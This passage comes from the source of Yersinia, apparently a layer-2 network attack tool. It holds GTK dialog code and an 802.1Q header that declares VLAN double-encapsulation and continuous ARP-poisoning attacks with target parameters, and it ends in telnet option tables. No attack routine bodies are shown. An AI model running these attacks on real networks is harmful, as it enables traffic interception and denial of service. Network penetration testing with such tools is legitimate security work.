(warning_vbox); gtk_container_add (GTK_CONTAINER (warningdialog), warning_vbox); warning_v_scroll = gtk_scrolled_window_new (NULL, NULL); gtk_widget_show (warning_v_scroll); gtk_box_pack_start (GTK_BOX (warning_vbox), warning_v_scroll, TRUE, TRUE, 0); gtk_scrolled_window_set_policy (GTK_SCROLLED_WINDOW (warning_v_scroll), GTK_POLICY_NEVER, GTK_POLICY_NEVER); gtk_scrolled_window_set_shadow_type (GTK_SCROLLED_WINDOW (warning_v_scroll), GTK_SHADOW_IN); warning_vs_text = gtk_text_view_new (); gtk_widget_show (warning_vs_text); gtk_container_add (GTK_CONTAINER (warning_v_scroll), warning_vs_text); gtk_text_view_set_editable (GTK_TEXT_VIEW (warning_vs_text), FALSE); gtk_text_view_set_wrap_mode (GTK_TEXT_VIEW (warning_vs_text), GTK_WRAP_WORD); gtk_text_view_set_cursor_visible (GTK_TEXT_VIEW (warning_vs_text), FALSE); gtk_text_buffer_set_text (gtk_text_view_get_buffer (GTK_TEXT_VIEW (warning_vs_text)), (buffer), -1); warning_v_button = gtk_button_new_with_mnemonic (_("OK")); gtk_widget_show (warning_v_button); gtk_box_pack_start (GTK_BOX (warning_vbox), warning_v_button, FALSE, FALSE, 0); g_signal_connect_swapped ((gpointer) warning_v_button, "clicked", G_CALLBACK (gtk_widget_destroy), GTK_OBJECT (warningdialog)); /* Store pointers to all widgets, for use by lookup_widget(). */ GLADE_HOOKUP_OBJECT_NO_REF (warningdialog, warningdialog, "warningdialog"); GLADE_HOOKUP_OBJECT (warningdialog, warning_vbox, "warning_vbox"); GLADE_HOOKUP_OBJECT (warningdialog, warning_v_scroll, "warning_v_scroll"); GLADE_HOOKUP_OBJECT (warningdialog, warning_vs_text, "warning_vs_text"); GLADE_HOOKUP_OBJECT (warningdialog, warning_v_button, "warning_v_button"); return warningdialog; } GtkWidget* gtk_i_create_extradialog (struct gtk_s_helper *helper) { GtkWidget *extradialog; GtkWidget *extra_vbox; GtkWidget *extra_v_scroll; GtkWidget *extra_vs_text; GtkWidget *extra_v_button_add, *extra_v_button_remove, *extra_v_button_ok; extradialog = gtk_window_new (GTK_WINDOW_TOPLEVEL); gtk_widget_set_size_request (extradialog, 200, 150); gtk_window_set_title (GTK_WINDOW (extradialog), _("Extra parameters")); gtk_window_set_position (GTK_WINDOW (extradialog), GTK_WIN_POS_CENTER_ON_PARENT); gtk_window_set_type_hint (GTK_WINDOW (extradialog), GDK_WINDOW_TYPE_HINT_SPLASHSCREEN); extra_vbox = gtk_vbox_new (FALSE, 0); gtk_widget_show (extra_vbox); gtk_container_add (GTK_CONTAINER (extradialog), extra_vbox); extra_v_scroll = gtk_scrolled_window_new (NULL, NULL); gtk_widget_show (extra_v_scroll); gtk_box_pack_start (GTK_BOX (extra_vbox), extra_v_scroll, TRUE, TRUE, 0); gtk_scrolled_window_set_policy (GTK_SCROLLED_WINDOW (extra_v_scroll), GTK_POLICY_NEVER, GTK_POLICY_NEVER); gtk_scrolled_window_set_shadow_type (GTK_SCROLLED_WINDOW (extra_v_scroll), GTK_SHADOW_IN); extra_vs_text = gtk_text_view_new (); gtk_widget_show (extra_vs_text); gtk_container_add (GTK_CONTAINER (extra_v_scroll), extra_vs_text); extra_v_button_add = gtk_button_new_with_mnemonic (_("Add")); gtk_widget_show (extra_v_button_add); gtk_box_pack_start (GTK_BOX (extra_vbox), extra_v_button_add, FALSE, FALSE, 0); extra_v_button_remove = gtk_button_new_with_mnemonic (_("Remove")); gtk_widget_show (extra_v_button_remove); gtk_box_pack_start (GTK_BOX (extra_vbox), extra_v_button_remove, FALSE, FALSE, 0); extra_v_button_ok = gtk_button_new_with_mnemonic (_("OK")); gtk_widget_show (extra_v_button_ok); gtk_box_pack_start (GTK_BOX (extra_vbox), extra_v_button_ok, FALSE, FALSE, 0); g_signal_connect ((gpointer) extra_v_button_add, "clicked", G_CALLBACK (gtk_c_extra_button_add_clicked), (gpointer) helper); g_signal_connect_swapped ((gpointer) extra_v_button_ok, "clicked", G_CALLBACK (gtk_widget_destroy), GTK_OBJECT (extradialog)); /* Store pointers to all widgets, for use by lookup_widget(). */ GLADE_HOOKUP_OBJECT_NO_REF (extradialog, extradialog, "extradialog"); GLADE_HOOKUP_OBJECT (extradialog, extra_vbox, "extra_vbox"); GLADE_HOOKUP_OBJECT (extradialog, extra_v_scroll, "extra_v_scroll"); GLADE_HOOKUP_OBJECT (extradialog, extra_vs_text, "extra_vs_text"); GLADE_HOOKUP_OBJECT (extradialog, extra_v_button_ok, "extra_v_button_ok"); return extradialog; } GtkWidget* gtk_i_create_add_extradialog (struct gtk_s_helper *helper, u_int8_t proto) { GtkWidget *add_extradialog; GtkWidget *add_extra_vbox; GtkWidget *add_extra_v_table; GtkWidget *add_extra_v_lcombo, *add_extra_v_lentry; GtkWidget *add_extra_v_combo; GtkWidget *add_extra_v_entry; GtkWidget *add_extra_v_hbox; GtkWidget *add_extra_v_button_cancel, *add_extra_v_button_ok; struct commands_param_extra *params; u_int8_t i; add_extradialog = gtk_window_new (GTK_WINDOW_TOPLEVEL); gtk_window_set_title (GTK_WINDOW (add_extradialog), _("Add add_extra parameter")); gtk_window_set_position (GTK_WINDOW (add_extradialog), GTK_WIN_POS_CENTER_ON_PARENT); gtk_window_set_type_hint (GTK_WINDOW (add_extradialog), GDK_WINDOW_TYPE_HINT_SPLASHSCREEN); add_extra_vbox = gtk_vbox_new (FALSE, 0); gtk_widget_show (add_extra_vbox); gtk_container_add (GTK_CONTAINER (add_extradialog), add_extra_vbox); add_extra_v_table = gtk_table_new(2, 2, TRUE); gtk_widget_show(add_extra_v_table); gtk_box_pack_start (GTK_BOX (add_extra_vbox), add_extra_v_table, FALSE, FALSE, 0); add_extra_v_lcombo = gtk_label_new("Choose type"); gtk_widget_show(add_extra_v_lcombo); gtk_table_attach(GTK_TABLE(add_extra_v_table), add_extra_v_lcombo, 0, 1, 0, 1, (GtkAttachOptions) (GTK_FILL), (GtkAttachOptions) (0), 0, 0); add_extra_v_combo = gtk_combo_box_new_text(); gtk_widget_show(add_extra_v_combo); gtk_table_attach(GTK_TABLE(add_extra_v_table), add_extra_v_combo, 1, 2, 0, 1, (GtkAttachOptions) (GTK_FILL), (GtkAttachOptions) (0), 0, 0); add_extra_v_lentry = gtk_label_new("Set value"); gtk_widget_show(add_extra_v_lentry); gtk_table_attach(GTK_TABLE(add_extra_v_table), add_extra_v_lentry, 0, 1, 1, 2, (GtkAttachOptions) (GTK_FILL), (GtkAttachOptions) (0), 0, 0); add_extra_v_entry = gtk_entry_new(); gtk_widget_show(add_extra_v_entry); gtk_table_attach(GTK_TABLE(add_extra_v_table), add_extra_v_entry, 1, 2, 1, 2, (GtkAttachOptions) (GTK_FILL), (GtkAttachOptions) (0), 0, 0); if (protocols[proto].extra_nparams > 0) { params = protocols[proto].extra_parameters; for (i = 0; i < protocols[proto].extra_nparams; i++) { gtk_combo_box_append_text(GTK_COMBO_BOX(add_extra_v_combo), params[i].desc); } } add_extra_v_hbox = gtk_hbox_new(FALSE, 0); gtk_widget_show(add_extra_v_hbox); gtk_container_add (GTK_CONTAINER (add_extra_vbox), add_extra_v_hbox); add_extra_v_button_cancel = gtk_button_new_with_mnemonic (_("Cancel")); gtk_widget_show (add_extra_v_button_cancel); gtk_box_pack_start (GTK_BOX (add_extra_v_hbox), add_extra_v_button_cancel, FALSE, TRUE, 0); add_extra_v_button_ok = gtk_button_new_with_mnemonic (_("OK")); gtk_widget_show (add_extra_v_button_ok); gtk_box_pack_start (GTK_BOX (add_extra_v_hbox), add_extra_v_button_ok, FALSE, TRUE, 0); g_signal_connect_swapped ((gpointer) add_extra_v_button_cancel, "clicked", G_CALLBACK (gtk_widget_destroy), GTK_OBJECT (add_extradialog)); g_signal_connect ((gpointer) add_extra_v_button_ok, "clicked", G_CALLBACK (gtk_c_add_extra_button_add_ok_clicked), helper); /* Store pointers to all widgets, for use by lookup_widget(). */ GLADE_HOOKUP_OBJECT_NO_REF (add_extradialog, add_extradialog, "add_extradialog"); GLADE_HOOKUP_OBJECT (add_extradialog, add_extra_vbox, "add_extra_vbox"); GLADE_HOOKUP_OBJECT (add_extradialog, add_extra_v_button_ok, "add_extra_v_button_ok"); return add_extradialog; } GtkWidget* gtk_i_create_attackparamsdialog (struct gtk_s_helper *helper, struct attack_param *param, u_int8_t nparams) { GtkWidget *attackparamsdialog; GtkWidget *attackparams_frame; GtkWidget *attackparams_vbox; GtkWidget *attackparams_v_hbox; GtkWidget *attackparams_vh_label; GtkWidget **attackparams_vh_entry; GtkWidget *attackparams_vh_button; GtkWidget *attackparams_v_cancel_button; GtkWidget *attackparams_v_ok_button; u_int8_t i; char tmp_name[3]; if ((attackparams_vh_entry = (GtkWidget **) calloc(nparams, sizeof(GtkWidget *))) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } attackparamsdialog = gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_title (GTK_WINDOW (attackparamsdialog), _("Parameters list")); gtk_window_set_position (GTK_WINDOW (attackparamsdialog), GTK_WIN_POS_CENTER_ON_PARENT); attackparams_frame = gtk_frame_new(_("Parameters list")); gtk_widget_show(attackparams_frame); gtk_container_add(GTK_CONTAINER (attackparamsdialog), attackparams_frame); attackparams_vbox = gtk_vbox_new (FALSE, 0); gtk_widget_show (attackparams_vbox); gtk_container_add (GTK_CONTAINER (attackparams_frame), attackparams_vbox); for (i = 0; i < nparams; i++) { attackparams_v_hbox = gtk_hbox_new(FALSE, 0); gtk_widget_show(attackparams_v_hbox); attackparams_vh_label = gtk_label_new(_(param[i].desc)); gtk_widget_show(attackparams_vh_label); attackparams_vh_entry[i] = gtk_entry_new(); gtk_entry_set_editable(GTK_ENTRY(attackparams_vh_entry[i]), TRUE); gtk_entry_set_width_chars(GTK_ENTRY(attackparams_vh_entry[i]), param[i].size_print); gtk_entry_set_max_length(GTK_ENTRY(attackparams_vh_entry[i]), param[i].size_print); gtk_widget_show(attackparams_vh_entry[i]); gtk_box_pack_start(GTK_BOX(attackparams_v_hbox), attackparams_vh_label, TRUE, TRUE, 0); gtk_box_pack_start(GTK_BOX(attackparams_v_hbox), attackparams_vh_entry[i], TRUE, TRUE, 0); gtk_box_pack_start(GTK_BOX (attackparams_vbox), attackparams_v_hbox, TRUE, TRUE, 0); snprintf(tmp_name, 3, "%02d", i); GLADE_HOOKUP_OBJECT (attackparamsdialog, attackparams_vh_entry[i], tmp_name); } attackparams_vh_button = gtk_hbox_new(TRUE, 0); gtk_widget_show(attackparams_vh_button); gtk_container_add (GTK_CONTAINER (attackparams_vbox), attackparams_vh_button); attackparams_v_cancel_button = gtk_button_new_with_mnemonic (_("Cancel")); gtk_widget_show (attackparams_v_cancel_button); gtk_box_pack_start (GTK_BOX (attackparams_vh_button), attackparams_v_cancel_button, TRUE, FALSE, 0); attackparams_v_ok_button = gtk_button_new_with_mnemonic (_("OK")); gtk_widget_show (attackparams_v_ok_button); gtk_box_pack_start (GTK_BOX (attackparams_vh_button), attackparams_v_ok_button, TRUE, FALSE, 0); /* TODO: attack_free_param */ g_signal_connect_swapped ((gpointer) attackparams_v_cancel_button, "clicked", G_CALLBACK (gtk_widget_destroy), GTK_OBJECT (attackparamsdialog)); g_signal_connect((gpointer) attackparams_v_ok_button, "clicked", G_CALLBACK (gtk_c_attackparams_launch), helper); /* Store pointers to all widgets, for use by lookup_widget(). */ GLADE_HOOKUP_OBJECT_NO_REF (attackparamsdialog, attackparamsdialog, "attackparamsdialog"); GLADE_HOOKUP_OBJECT (attackparamsdialog, attackparams_vbox, "attackparams_vbox"); GLADE_HOOKUP_OBJECT (attackparamsdialog, attackparams_v_ok_button, "attackparams_v_ok_button"); GLADE_HOOKUP_OBJECT (attackparamsdialog, attackparams_v_cancel_button, "attackparams_v_cancel_button"); return attackparamsdialog; } GtkWidget* create_protocol_mwindow(GtkWidget *Main, struct gtk_s_helper *helper, u_int8_t proto) { u_int8_t i, total, row; struct commands_param *params; struct commands_param_extra *extra_params; GtkWidget *vpaned, *fields_vbox, *fields_hbox[5], *field_label; GtkWidget *scroll, *vbox, *frame, *fixed; GtkWidget *entry[20], *extra_button; GtkCellRenderer *cell; GtkTreeViewColumn *column; GType *types; GtkTreeIter iter; PangoFontDescription *font_desc; char tmp_name[5], msg[1024]; params = protocols[proto].parameters; extra_params = protocols[proto].extra_parameters; total = 0; for (i = 0; i < protocols[proto].nparams; i++) { if (params[i].mwindow) total++; } for (i = 0; i < protocols[proto].extra_nparams; i++) { if (extra_params[i].mwindow) total++; } vpaned = gtk_vpaned_new (); scroll = gtk_scrolled_window_new (NULL, NULL); gtk_widget_show (scroll); // gtk_paned_pack1 (GTK_PANED (vpaned), scroll, TRUE, TRUE); gtk_scrolled_window_set_policy (GTK_SCROLLED_WINDOW (scroll), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type (GTK_SCROLLED_WINDOW (scroll), GTK_SHADOW_IN); protocols_tree[proto] = gtk_tree_view_new(); gtk_tree_view_set_rules_hint(GTK_TREE_VIEW(protocols_tree[proto]), TRUE); /* +4 for the index, interface, total count and the timestamp */ types = g_new0 (GType, total + 4); types[0] = G_TYPE_INT; for (i = 1; i < total + 4; i++) { if (i == total + 4 - 2) types[i] = G_TYPE_ULONG; else types[i] = G_TYPE_STRING; } protocols_tree_model[proto] = gtk_list_store_newv(total + 4, types); g_free(types); gtk_widget_set_size_request (scroll, 250, 250); gtk_scrolled_window_add_with_viewport (GTK_SCROLLED_WINDOW (scroll), protocols_tree[proto]); gtk_tree_view_set_model (GTK_TREE_VIEW(protocols_tree[proto]), GTK_TREE_MODEL(protocols_tree_model[proto])); g_object_unref(protocols_tree_model[proto]); gtk_widget_show (protocols_tree[proto]); cell = gtk_cell_renderer_text_new (); total = 1; for (i = 0; i < protocols[proto].nparams; i++) { if (params[i].mwindow) { column = gtk_tree_view_column_new_with_attributes (params[i].ldesc, cell, "text", total, NULL); gtk_tree_view_append_column (GTK_TREE_VIEW (protocols_tree[proto]), GTK_TREE_VIEW_COLUMN (column)); total++; } } for (i = 0; i < protocols[proto].extra_nparams; i++) { if (extra_params[i].mwindow) { column = gtk_tree_view_column_new_with_attributes (extra_params[i].ldesc, cell, "text", total, NULL); gtk_tree_view_append_column (GTK_TREE_VIEW (protocols_tree[proto]), GTK_TREE_VIEW_COLUMN (column)); total++; } } column = gtk_tree_view_column_new_with_attributes ("Interface", cell, "text", total, NULL); gtk_tree_view_append_column (GTK_TREE_VIEW (protocols_tree[proto]), GTK_TREE_VIEW_COLUMN (column)); total++; column = gtk_tree_view_column_new_with_attributes ("Count", cell, "text", total, NULL); gtk_tree_view_append_column (GTK_TREE_VIEW (protocols_tree[proto]), GTK_TREE_VIEW_COLUMN (column)); total++; column = gtk_tree_view_column_new_with_attributes ("Last seen", cell, "text", total, NULL); gtk_tree_view_append_column (GTK_TREE_VIEW (protocols_tree[proto]), GTK_TREE_VIEW_COLUMN (column)); /* Setup the click handler */ g_signal_connect(protocols_tree[proto], "button-press-event", (GCallback) gtk_c_view_onButtonPressed, helper); // g_signal_connect(protocols_tree[proto], "popup-menu", (GCallback) gtk_c_view_onPopupMenu, NULL); /* Setup the selection handler */ helper->select = gtk_tree_view_get_selection (GTK_TREE_VIEW (protocols_tree[proto])); gtk_tree_selection_set_mode (helper->select, GTK_SELECTION_SINGLE); /* Update the packet information in the left widget */ g_signal_connect (G_OBJECT (helper->select), "changed", G_CALLBACK (gtk_c_tree_selection_changed_cb), helper); /* Update the hexview */ g_signal_connect (G_OBJECT (helper->select), "changed", G_CALLBACK (gtk_c_update_hexview), helper); /* for (i = 0; i < MAX_PACKET_STATS; i++) { gtk_list_store_append (GTK_LIST_STORE (protocols_tree_model[proto]), &iter); gtk_list_store_set (GTK_LIST_STORE(protocols_tree_model[proto]), &iter, 0, i, -1); }*/ vbox = gtk_vbox_new (FALSE, 0); gtk_widget_show (vbox); gtk_paned_pack1 (GTK_PANED (vpaned), vbox, FALSE, TRUE); /* A frame which name is the protocol name */ frame = gtk_frame_new(protocols[proto].description); gtk_widget_show(frame); /* Ncurses compability: we are going to have 5 rows and in each row, 2*number of fields */ fixed = gtk_fixed_new (); gtk_widget_set_size_request (fixed, 200, 200); gtk_widget_show (fixed); gtk_box_pack_start (GTK_BOX (vbox), scroll, TRUE, TRUE, 0); gtk_box_pack_start (GTK_BOX (vbox), frame, TRUE, TRUE, 0); fields_vbox = gtk_vbox_new(FALSE, 0); gtk_widget_show(fields_vbox); gtk_container_add(GTK_CONTAINER(frame), fields_vbox); for (i = 0; i < 5; i++) { fields_hbox[i] = gtk_hbox_new(FALSE, 25); gtk_widget_show(fields_hbox[i]); gtk_box_pack_start(GTK_BOX(fields_vbox), fields_hbox[i], TRUE, TRUE, 0); } for (i = 0; i < protocols[proto].nparams; i++) { if ((params[i].type != FIELD_DEFAULT) && (params[i].type != FIELD_IFACE) && (params[i].type != FIELD_EXTRA)) { field_label = gtk_label_new(params[i].ldesc); gtk_widget_show(field_label); entry[i] = gtk_entry_new(); gtk_entry_set_width_chars(GTK_ENTRY(entry[i]), params[i].size_print); /* By default, entry widgets are not editable, you have to turn on * edit mode */ gtk_entry_set_editable(GTK_ENTRY(entry[i]), FALSE); /* Set up a monospaced font */ font_desc = pango_font_description_from_string ("Monospace 10"); gtk_widget_modify_font(entry[i], font_desc); gtk_widget_show(entry[i]); /* Initialize the values */ parser_binary2printable(proto, i, helper->node->protocol[proto].commands_param[i], msg); gtk_entry_set_text(GTK_ENTRY(entry[i]), msg); row = params[i].row; gtk_box_pack_start(GTK_BOX(fields_hbox[row-1]), field_label, FALSE, TRUE, 0); gtk_box_pack_start(GTK_BOX(fields_hbox[row-1]), entry[i], FALSE, TRUE, 0); /* We are going to refer to the entry boxes as XXYY where XX is the protocol number, and YY the field number */ snprintf(tmp_name, 5, "%02d%02d", proto, i); GLADE_HOOKUP_OBJECT (Main, entry[i], tmp_name); } } if (protocols[proto].extra_nparams > 0) { extra_button = gtk_button_new_with_label("Extra"); gtk_widget_show(extra_button); gtk_box_pack_start(GTK_BOX(fields_hbox[0]), extra_button, FALSE, TRUE, 0); g_signal_connect ((gpointer) extra_button, "clicked", G_CALLBACK (gtk_c_on_extra_button_clicked), helper); } /* Store pointers to all widgets, for use by lookup_widget(). */ return vpaned; } void gtk_i_view_menu(GtkWidget *treeview, GtkWidget *wmain, GdkEventButton *event, struct gtk_s_helper *helper) { GtkWidget *menu, *menuitem; menu = gtk_menu_new(); menuitem = gtk_menu_item_new_with_label(_("Learn packet from network")); g_signal_connect(menuitem, "activate", (GCallback) gtk_c_view_popup_menu, helper); gtk_menu_shell_append(GTK_MENU_SHELL(menu), menuitem); gtk_widget_show_all(menu); /* Note: event can be NULL here when called from view_onPopupMenu; * gdk_event_get_time() accepts a NULL argument */ gtk_menu_popup(GTK_MENU(menu), NULL, NULL, NULL, NULL, (event != NULL) ? event->button : 0, gdk_event_get_time((GdkEvent*)event)); GLADE_HOOKUP_OBJECT (wmain, menuitem, "menuitem"); } /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/dot1q.h0000644000175000017500000002176212234207266013152 0ustar nknk/* dot1q.h * Definitions for IEEE 802.1Q * * $Id: dot1q.h 46 2007-05-08 09:13:30Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __DOT_1Q_H #define __DOT_1Q_H__ #include #include "terminal-defs.h" #include "interfaces.h" #define MAX_ICMP_PAYLOAD 16 #define DOT1Q_DFL_MAC_DST "FF:FF:FF:FF:FF:FF" #define DOT1Q_DFL_TPI1 ETHERTYPE_VLAN #define DOT1Q_DFL_PRIO1 0x007 #define DOT1Q_DFL_CFI1 0x000 #define DOT1Q_DFL_VLAN1 0x001 #define DOT1Q_DFL_TPI2 ETHERTYPE_IP #define DOT1Q_DFL_PRIO2 0x007 #define DOT1Q_DFL_CFI2 0x000 #define DOT1Q_DFL_VLAN2 0x002 #define DOT1Q_DFL_TPI3 ETHERTYPE_IP #define DOT1Q_DFL_DST_IP 0xffffffff #define DOT1Q_DFL_PAYLOAD "YERSINIA" #define DOT1Q_DFL_PAY_LEN 8 struct dot1q_data { u_int8_t mac_source[ETHER_ADDR_LEN]; u_int8_t mac_dest[ETHER_ADDR_LEN]; u_int16_t tpi1; u_int8_t priority1; u_int8_t cfi1; u_int16_t vlan1; u_int16_t tpi2; u_int8_t priority2; u_int8_t cfi2; u_int16_t vlan2; u_int16_t tpi3; u_int32_t src_ip; u_int32_t dst_ip; u_int8_t ip_proto; u_int8_t icmp_payload[MAX_ICMP_PAYLOAD+1]; u_int8_t icmp_pay_len; }; static const struct tuple_type_desc dot1q_tpi[] = { { ETHERTYPE_IP, "IP" }, { ETHERTYPE_VLAN, "802.1Q" }, { ETHERTYPE_ARP, "ARP" }, { ETHERTYPE_REVARP, "RARP" }, { 0x2000, "CDP" }, { 0x2003, "VTP" }, { 0x2004, "DTP" }, { 0x9000, "LOOP" }, { 0x010b, "PVST" }, { 0, NULL } }; static const struct tuple_type_desc dot1q_ip_proto[] = { { 0x01, "icmp" }, { 0x06, "tcp" }, { 0x11, "udp" }, { 89, "ospf" }, { 0, NULL } }; static struct proto_features dot1q_features[] = { { F_ETHERTYPE, ETHERTYPE_VLAN }, { -1, 0 } }; #define DOT1Q_SMAC 0 #define DOT1Q_DMAC 1 #define DOT1Q_VLAN1 2 #define DOT1Q_PRIORITY1 3 #define DOT1Q_CFI1 4 #define DOT1Q_TPI2 5 #define DOT1Q_VLAN2 6 #define DOT1Q_PRIORITY2 7 #define DOT1Q_CFI2 8 #define DOT1Q_TPI3 9 #define DOT1Q_SRC_IP 10 #define DOT1Q_DST_IP 11 #define DOT1Q_IP_PROTO 12 #define DOT1Q_PAYLOAD 13 /* Struct needed for using protocol fields within the network client */ struct commands_param dot1q_comm_params[] = { { DOT1Q_SMAC, "source", "Source MAC", 6, FIELD_MAC, "Set source MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { DOT1Q_DMAC, "dest", "Destination MAC", 6, FIELD_MAC, "Set destination MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { DOT1Q_VLAN1, "vlan1", "VLAN", 2, FIELD_DEC, "Set 802.1Q vlan1 (outer) ID", " <0-4095> Outer vlan id", 4, 2, 1, NULL, NULL }, { DOT1Q_PRIORITY1, "priority1", "Priority", 1, FIELD_DEC, "Set 802.1Q vlan1 (outer) priority", " <0-7> Priority", 2, 2, 0, NULL, NULL }, { DOT1Q_CFI1, "cfi1", "CFI", 1, FIELD_HEX, "Set 802.1Q cfi1 (outer) ID", " <0-FF> CFI1 id", 2, 2, 0, NULL, NULL }, { DOT1Q_TPI2, "l2proto1", "L2Proto1", 2, FIELD_HEX, "Set 802.1Q L2 protocol1", " <0-FFFF> Protocol", 4, 2, 1, NULL, dot1q_tpi }, { DOT1Q_VLAN2, "vlan2", "VLAN2", 2, FIELD_DEC, "Set 802.1Q vlan1 (outer) ID", " <0-4095> Inner vlan id", 4, 2, 0, NULL, NULL }, { DOT1Q_PRIORITY2, "priority2", "Priority", 1, FIELD_DEC, "Set 802.1Q vlan2 (inner) priority", " <0-7> Priority", 2, 2, 0, NULL, NULL }, { DOT1Q_CFI2, "cfi2", "CFI", 1, FIELD_HEX, "Set 802.1Q cfi2 (inner) ID", " <0-FF> CFI2 id", 2, 2, 0, NULL, NULL }, { DOT1Q_TPI3, "l2proto2", "L2Proto2", 2, FIELD_HEX, "Set 802.1Q L2 protocol2", " <0-FFFF> Protocol", 4, 3, 0, NULL, dot1q_tpi }, { DOT1Q_SRC_IP, "ipsource", "Src IP", 4, FIELD_IP, "Set 802.1Q IP source data address", " A.A.A.A IPv4 address", 15, 3, 1, NULL, NULL }, { DOT1Q_DST_IP, "ipdest", "Dst IP", 4, FIELD_IP, "Set 802.1Q IP destination data address", " A.A.A.A IPv4 address", 15, 3, 1, NULL, NULL }, { DOT1Q_IP_PROTO, "ipproto", "IP Prot", 1, FIELD_HEX, "Set 802.1Q IP protocols", " <0-FF> IP protocol", 2, 3, 1, NULL, dot1q_ip_proto }, { DOT1Q_PAYLOAD, "payload", "Payload", MAX_ICMP_PAYLOAD, FIELD_STR, "Set 802.1Q ICMP payload", " WORD ASCII payload", MAX_ICMP_PAYLOAD, 4, 0, NULL, NULL }, { 0, "defaults", NULL, 0, FIELD_DEFAULT, "Set all values to default", " ", 0, 0, 0, NULL, NULL }, { 0, "interface", NULL, IFNAMSIZ, FIELD_IFACE, "Set network interface to use", " WORD Network interface", IFNAMSIZ, 0, 0, NULL, NULL } }; void dot1q_th_send(void *); void dot1q_th_send_exit(struct attacks *); void dot1q_double_th_send(void *); void dot1q_double_th_send_exit(struct attacks *); void dot1q_th_poison(void *); void dot1q_th_poison_exit(struct attacks *); #define DOT1Q_ARP_IP 0 #define DOT1Q_ARP_VLAN 1 #define DOT1Q_ARP_IP_SRC 2 static struct attack_param dot1q_arp_params[] = { { NULL, "IP to poison", 4, FIELD_IP, 15, NULL }, { NULL, "IP VLAN", 2, FIELD_DEC, 4, NULL }, { NULL, "ARP IP Source", 4, FIELD_IP, 15, NULL } }; #define DOT1Q_ATTACK_SEND 0 #define DOT1Q_ATTACK_DOUBLE 1 #define DOT1Q_ATTACK_POISON 2 static struct attack dot1q_attack[] = { { DOT1Q_ATTACK_SEND, "sending 802.1Q packet", NONDOS, SINGLE, dot1q_th_send, NULL, 0 }, { DOT1Q_ATTACK_DOUBLE, "sending 802.1Q double enc. packet", NONDOS, SINGLE, dot1q_double_th_send, NULL, 0 }, { DOT1Q_ATTACK_POISON, "sending 802.1Q arp poisoning", DOS, CONTINOUS, dot1q_th_poison, dot1q_arp_params, SIZE_ARRAY(dot1q_arp_params) }, { 0, NULL, 0, 0, NULL, NULL, 0 } }; void dot1q_register(void); int8_t dot1q_send_icmp(struct attacks *, u_int8_t); void dot1q_send_arp_poison(void *); int8_t dot1q_send_arp(struct interface_data *, u_int16_t, u_int8_t *, u_int8_t *, u_int8_t *, u_int8_t *, u_int8_t *, u_int16_t, u_int8_t); int8_t dot1q_learn_mac(struct attacks *, struct pcap_pkthdr *, u_int8_t *); int8_t dot1q_return_mac(struct attacks *, u_int8_t *); int8_t dot1q_init_attribs(struct term_node *); int8_t dot1q_learn_packet(struct attacks *, char *, u_int8_t *,void *, struct pcap_pkthdr *); char **dot1q_get_printable_packet(struct pcap_data *); char **dot1q_get_printable_store(struct term_node *); int8_t dot1q_load_values(struct pcap_data *, void *); int8_t dot1q_update_data(int8_t, int8_t, int8_t, struct term_node *); int8_t dot1q_update_field(int8_t, struct term_node *, void *); int8_t dot1q_init_comms_struct(struct term_node *); int8_t dot1q_end(struct term_node *); extern void thread_libnet_error( char *, libnet_t *); extern int8_t vrfy_bridge_id( char *, u_int8_t * ); extern int8_t thread_create(pthread_t *, void *, void *); extern void write_log( u_int16_t mode, char *msg, ... ); extern int8_t attack_th_exit(struct attacks *); extern void attack_gen_mac(u_int8_t *); extern struct interface_data *interfaces_get_packet(list_t *, struct interface_data *, u_int8_t *, struct pcap_pkthdr *, u_int8_t *, u_int16_t, time_t); extern int8_t parser_vrfy_mac(char *, u_int8_t *); extern int8_t parser_get_inet_aton(char *, struct in_addr *); extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); extern int8_t parser_command2index(register const struct attack *, register int8_t); extern struct terminals *terms; extern int8_t bin_data[]; #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/terminal.h0000644000175000017500000002160712234207266013733 0ustar nknk/* terminal.h * Definitions for network terminal management * * $Id: terminal.h 46 2007-05-08 09:13:30Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __TERMINAL_H__ #define __TERMINAL_H__ #include "terminal-defs.h" struct telnet_option telnet_command[]={ { COM_SE, "Suboption_End",0 }, { COM_NOP, "NOP",0 }, { COM_DM, "Data_Mark",0 }, { COM_BRK, "Break",0 }, { COM_IP, "Interrupt_Process",0 }, { COM_AO, "Abort_Output",0 }, { COM_AYT, "Are_You_There",0 }, { COM_EC, "Escape_Character",0 }, { COM_EL, "Erase_Line",0 }, { COM_GA, "Go_Ahead",0 }, { COM_SB, "Suboption_Begin",0 }, { COM_WILL, "Will",1 }, { COM_WONT, "Won't",1 }, { COM_DO, "Do",1 }, { COM_DONT, "Don't",1 }, { COM_IAC, "Interpret_As_Command",0 } }; struct telnet_option telnet_option[]={ { OPT_ECHO, "Echo",0 }, { OPT_SGAHEAD, 